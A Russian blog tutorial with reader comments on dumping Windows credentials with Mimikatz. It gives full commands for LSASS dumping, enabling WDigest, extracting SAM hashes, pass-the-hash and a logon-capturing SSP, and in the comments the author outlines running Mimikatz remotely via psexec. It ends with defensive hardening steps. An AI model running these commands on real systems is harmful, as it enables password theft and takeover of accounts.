В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.
Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.
Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:\Tools\mimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.
В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.
- Извлекаем хэши паролей пользователей из памяти Windows
- Получение хешей паролей пользователей из дампа памяти Windows
- Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
- Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?
- Извлекаем пароли локальных пользователей Windows из SAM
- Использование Mimikatz в pass-the-hash атаках
- Просмотр сохраненных паролей в Windows
- Дампим пароли при входе в Windows
- Как защитить Windows от извлечения паролей из памяти?
Извлекаем хэши паролей пользователей из памяти Windows
Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.
- Запустите Mimikatz.exe с правами администратора;
- В контексте утилиты выполните команды:
mimikatz # privilege::debug
Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege). -
mimikatz # sekurlsa::logonPasswords full
Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей. - В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
- Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:
anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8) Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt
Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/
Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).
Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.
Получение хешей паролей пользователей из дампа памяти Windows
Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.
Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.
Windows сохраните дам памяти в указанную папку.
Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:
Mimikatz “sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP”
Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:
# sekurlsa::logonPasswords
Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.
Также для получения дампа можно использовать утилиту procdump от Sysinterals.
procdump -ma lsass.exe lsass.dmp
Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump
Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).
Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).
Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:
bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp
Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):
.load mimilib.dll
Найдите в дампе процесс lsass.exe:
!process 0 0 lsass.exe
И наконец, выполните:
.process /r /p fffffa800e0b3b30
!mimikatz
В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.
Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?
В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.
Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.
Включите поддержку Wdigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
gpupdate /force
Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:
privilege::debug
sekurlsa::wdigest
Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:
Извлекаем пароли локальных пользователей Windows из SAM
С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:
privilege::debug
token::elevate
lsadump::sam
Также можно извлечь NTLM хэши SAM из реестра.
- Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
reg save hklm\sam c:\tmp\sam.hiv
reg save hklm\security c:\tmp\sec.hiv - Затем с помощью Mimikatz извлеките хэши паролей:
privilege::debug
token::elevate
lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
Использование Mimikatz в pass-the-hash атаках
Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:
privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe
Просмотр сохраненных паролей в Windows
В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:
privilege::debug
sekurlsa::credman
Как вы видите, сохраненый пароль показан в секции credman.
Дампим пароли при входе в Windows
Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).
- Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
- Зарегистрируйте дополнительного провайдер командой:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
- При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
Get-Content C:\Windows\System32\kiwissp.log
Как защитить Windows от извлечения паролей из памяти?
В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).
Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.
В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:
- Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
- Отключите Wdiget;
- Отключить NTLM
- Запретить использование сохранённых паролей в Credential Manager
- Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
- Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
- Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
. Можно распространить этот параметр реестра на компьютеры через GPO. - Используйте Credential Guard для защиты содержимого LSA процесса;
- Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.
Выводы. Еще раз напоминаем прописные истины:
- Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
- Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
- Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
- Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.
Mimikatz не вводить DLL вообще, начиная с версии 2.0.
Спасибо авторам за утилиту и за уточнение 🙂
В 8 не отображает пароли)
Windows 8.1 не сохраняет пароли в памяти. При активации он находит
В Server 2008 R2 тоже не выводит пароли.
Испытано 64-разрядной версии.
mimikatz 2.0 alpha (arch x64)
API — Windows NT 6.1 build 7601 service pack 1.0 (arch x64)
Скриншот из строя?
По крайней мере, терминальных пользователей.
Спасибо за статью! Подскажите как «Импоровать функцию Out-Minidump в PoSh» ?
Скачайте указанный файл и сохраните на диске. Чтобы импортировать функцию Posh из файла, выполните команду:
Import-Module C:\Script\Out-Minidump.ps1
В итоге функция Out-Minidump будет доступна в текущей сессии Posh
В «Минидампы» также может быть сделано непосредственно в «Task Manager» или «ProcDump» Microsoft 😉
you’re right. dump can be obtained by such methods too
You rock ! Thank you for great articles and you for the effort to answer me in English!
Здравствуйте, я столкнулся с проблемой в программе mimikatz. Она не показывает пароль. То есть просто чистая строка после «password:». Правда после неё идёт графа «kerberos», которой раньше не было, но и после неё ничего не пишет.
Вот что происходит:
1)Отключаю антивирус
2)Открываю mimikatz от имени администратора
3)privilege::debug (работает)
4)sekurlsa::logonpasswords full
Показывает много чего, но пароль — нет.
Я попытался перенести командой log в txt файл, но то же самое — вот скопированная строчка из того txt файла:
* Username : Admin
* Domain : HP4540S-F3R
* Password :
kerberos :
MImikatz может не показывать пароли по разным причинам. Компьютер в домене (какие политики применяются)? Какая версия Windows?
Какое значение ключа UseLogonCredential в реестре?
В общем все очень сильно зависит от окружения.
Hоутбук один, Windows 7, третье не знаю где искать.
Скажите, что можно попробовать сделать для корректной работы?
Здравствуйте, автор! а как с помощью Mimikatz можно с удаленного компьютера извлечь пароль пользователя в домене
Права админа на удаленном компе есть? Или режим кул хацкер нужно включать?
🙂
Права админа на удаленном компе есть, а если прав админа нет, то не получиться? а что такое режим кул хацкер?
уважаемый автор статьи, админы и хакеры!!! есть инструкция, как с помощью Mimikatz и средств WMI (Windows Management Instrumentation) можно с удаленного компьютера извлечь пароль пользователя в домене?
на удаленном компе есть права админа
Наверно проще всего запустить в интерактивном режиме удаленный psexec и в его консоли запустить утилиту mimikatz (команды для сбора данных пользователей есть в этой статье). Это в общих словах.
Что конкретно у вас получится — зависит от версии ОС, антивируса, правил межсетевого экрана и т.д.
Здравствуйте! покажите пожалуйста на примере (скриншотами) как сделать эту процедуру, как зайти на удаленный компьютер через psexec и в ее консоли запустить mimikatz, а если mimikatz установлен на компе, с которого мы подключаемся к удаленному компу?
Общая схема: закидываете на удаленный компьютер mimikatz, подключаетесь к компьютеру через psexec. Запускаете как указано здесь и смотрите вывод. В зависимости от версии ОС и примененных политик безопасности могут быть нюансы.
Эта задачка на общую эрудицию сисадмина. Никаких сверхсложных технологий.
Вам показали инструменты, как и использовать вместе — дело техники.
Но писать инструкцию с 0 для начинающих на голом энтузиазме — извиняйте…. Я ценю свое время.
Здравствуйте, уважаемые админы! как можно увидеть пароль сохраненные в Google Chrome, если срабатывает безопасность windows и требует ввести учетку и пароль данного пользователя, а пароль неизвестен, или можно через live-cd с загрузочной флешкой WinPE c помощью ChromePass узнать пароли в браузере Google Chrome?
а если на удаленном компе стоит антивирус и он сразу удаляет mimikatz, то как его можно закинуть на удаленный комп?
почему не показывает mimikatz пароли с помощью дамп памяти процесса LSASS? используется windows 10, в этой статье проверяли только на windows 7?
подскажите как скачать в яндексе эту прогу
он просто остановляет загрузку
ERROR kuhl_m_securlsa_acquireLSA ; Handle on memory (0x00000003)
после команды sekurlsa::logonPasswords
Похоже у вас нет прав доступа к памяти lsass.
Уедитесь что у вас есть windows полномочия SeDebugPrivilege и вы запускаете консоль из0под админа.
Если не получится — попробуйте открыть cmd от имени System (https://winitpro.ru/index.php/2011/12/26/zapusk-cmd-ot-system-v-windows-7/) и выполнить команда mimikatz в ней
а если показал это
exit — Quit mimikatz
cls — Clear screen (doesn’t work with redirections, like PsExec)
answer — Answer to the Ultimate Question of Life, the Universe, and Everything
coffee — Please, make me a coffee!
sleep — Sleep an amount of milliseconds
log — Log mimikatz input/output to file
base64 — Switch file input/output base64
version — Display some version informations
cd — Change or display current directory
localtime — Displays system local date and time (OJ command)
hostname — Displays system local hostname
что делать?
это справка коммндной строки mimikatz
«Windows сохраните дам памяти в указанную папку» -> «Windows сохранит дамп памяти в указанную папку».
А можно встроенными средствами Windows (PS и др.) или SysInternals узнать хэш пароля учетной записи AD Windows 2008R2? Пользователь не залогинен.
Если есть доступ к базе данных AD, можно извлечь хэш из нее.